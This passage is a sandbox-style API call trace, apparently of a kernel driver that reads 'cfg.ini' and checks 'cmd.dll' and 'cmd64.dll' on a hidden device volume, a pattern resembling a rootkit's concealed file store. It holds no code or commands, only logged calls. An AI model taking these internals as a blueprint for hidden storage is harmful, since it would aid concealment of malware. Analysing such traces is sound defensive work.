[0124.211] IdePortDispatch () returned 0x103 [0124.211] KeWaitForMutexObject () returned 0x0 [0124.211] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.211] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.211] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.211] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.211] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0124.211] IdePortDispatch () returned 0x103 [0124.212] KeWaitForMutexObject () returned 0x0 [0124.212] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.212] KeLeaveCriticalRegion () [0124.212] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.213] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.213] KeEnterCriticalRegion () [0124.213] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.213] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.213] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.213] KeLeaveCriticalRegion () [0124.213] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.213] KeEnterCriticalRegion () [0124.213] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.213] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.213] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003befe70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.213] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.213] KeLeaveCriticalRegion () [0124.213] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.213] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.213] KeEnterCriticalRegion () [0124.213] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.213] ExFreePoolWithTag (P=0xfffffa8003bef230, Tag=0x0) [0124.213] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.213] KeLeaveCriticalRegion () [0124.213] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.213] ReleaseMutex (hMutex=0xf0) returned 1 [0124.213] Sleep (dwMilliseconds=0x124f80) [0124.227] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.227] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.227] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.227] KeEnterCriticalRegion () [0124.227] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.227] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.227] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.227] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.227] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0124.228] IdePortDispatch () returned 0x103 [0124.228] KeWaitForMutexObject () returned 0x0 [0124.228] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.228] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.228] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.228] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.228] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.228] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003beffb0 [0124.228] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.228] KeLeaveCriticalRegion () [0124.228] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.228] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.228] KeEnterCriticalRegion () [0124.228] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.228] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.228] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.228] KeLeaveCriticalRegion () [0124.228] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.228] KeEnterCriticalRegion () [0124.228] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.228] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.228] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.228] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.228] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0124.228] IdePortDispatch () returned 0x103 [0124.228] KeWaitForMutexObject () returned 0x0 [0124.228] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.228] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.228] KeLeaveCriticalRegion () [0124.229] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.229] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.229] KeEnterCriticalRegion () [0124.229] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.229] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003519000 [0124.229] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.229] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.229] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.229] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0124.229] IdePortDispatch () returned 0x103 [0124.229] KeWaitForMutexObject () returned 0x0 [0124.229] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.229] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.229] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.229] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.229] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0124.229] IdePortDispatch () returned 0x103 [0124.229] KeWaitForMutexObject () returned 0x0 [0124.229] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.229] KeLeaveCriticalRegion () [0124.229] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.230] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.230] KeEnterCriticalRegion () [0124.230] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.230] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.230] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.230] KeLeaveCriticalRegion () [0124.230] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.230] KeEnterCriticalRegion () [0124.230] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.230] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.230] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beef20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.230] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.230] KeLeaveCriticalRegion () [0124.230] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.230] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.230] KeEnterCriticalRegion () [0124.230] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.230] ExFreePoolWithTag (P=0xfffffa8003beffb0, Tag=0x0) [0124.230] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.230] KeLeaveCriticalRegion () [0124.230] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.230] ReleaseMutex (hMutex=0xf0) returned 1 [0124.230] Sleep (dwMilliseconds=0x124f80) [0124.245] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.245] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.245] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.245] KeEnterCriticalRegion () [0124.245] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.245] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.245] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.245] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.245] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0124.245] IdePortDispatch () returned 0x103 [0124.245] KeWaitForMutexObject () returned 0x0 [0124.245] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.245] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.245] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.245] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.245] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.245] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf09a0 [0124.245] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.245] KeLeaveCriticalRegion () [0124.245] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.245] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.245] KeEnterCriticalRegion () [0124.245] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.245] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.245] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.245] KeLeaveCriticalRegion () [0124.245] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.246] KeEnterCriticalRegion () [0124.246] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.246] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.246] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.246] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.246] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0124.246] IdePortDispatch () returned 0x103 [0124.246] KeWaitForMutexObject () returned 0x0 [0124.246] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.246] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.246] KeLeaveCriticalRegion () [0124.246] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.246] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.246] KeEnterCriticalRegion () [0124.246] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.246] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800351e000 [0124.246] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.246] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.246] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.246] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0124.246] IdePortDispatch () returned 0x103 [0124.246] KeWaitForMutexObject () returned 0x0 [0124.246] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.246] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.246] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.247] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.247] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0124.247] IdePortDispatch () returned 0x103 [0124.247] KeWaitForMutexObject () returned 0x0 [0124.247] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.247] KeLeaveCriticalRegion () [0124.247] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.247] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.247] KeEnterCriticalRegion () [0124.247] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.247] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.247] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.247] KeLeaveCriticalRegion () [0124.247] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.247] KeEnterCriticalRegion () [0124.247] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.247] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.247] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beef20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.247] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.247] KeLeaveCriticalRegion () [0124.247] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.248] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.248] KeEnterCriticalRegion () [0124.248] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.248] ExFreePoolWithTag (P=0xfffffa8003bf09a0, Tag=0x0) [0124.248] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.248] KeLeaveCriticalRegion () [0124.248] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.248] ReleaseMutex (hMutex=0xf0) returned 1 [0124.248] Sleep (dwMilliseconds=0x124f80) [0124.262] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.262] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.262] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.262] KeEnterCriticalRegion () [0124.262] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.262] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.262] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.263] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.263] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0124.263] IdePortDispatch () returned 0x103 [0124.263] KeWaitForMutexObject () returned 0x0 [0124.263] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.263] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.263] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.263] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.263] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.263] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003beffb0 [0124.263] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.263] KeLeaveCriticalRegion () [0124.263] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.263] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.263] KeEnterCriticalRegion () [0124.263] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.263] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.263] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.263] KeLeaveCriticalRegion () [0124.263] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.263] KeEnterCriticalRegion () [0124.263] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.263] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.263] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.263] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.263] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0124.263] IdePortDispatch () returned 0x103 [0124.263] KeWaitForMutexObject () returned 0x0 [0124.263] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.263] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.263] KeLeaveCriticalRegion () [0124.264] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.264] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.264] KeEnterCriticalRegion () [0124.264] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.264] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003523000 [0124.264] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.264] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.264] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.264] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0124.264] IdePortDispatch () returned 0x103 [0124.264] KeWaitForMutexObject () returned 0x0 [0124.264] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.264] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.264] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.264] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.264] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0124.264] IdePortDispatch () returned 0x103 [0124.264] KeWaitForMutexObject () returned 0x0 [0124.264] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.264] KeLeaveCriticalRegion () [0124.264] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.265] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.265] KeEnterCriticalRegion () [0124.265] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.265] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.265] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.265] KeLeaveCriticalRegion () [0124.265] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.265] KeEnterCriticalRegion () [0124.265] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.265] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.265] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf0ed0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.265] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.265] KeLeaveCriticalRegion () [0124.265] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.265] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.265] KeEnterCriticalRegion () [0124.265] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.265] ExFreePoolWithTag (P=0xfffffa8003beffb0, Tag=0x0) [0124.265] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.265] KeLeaveCriticalRegion () [0124.265] 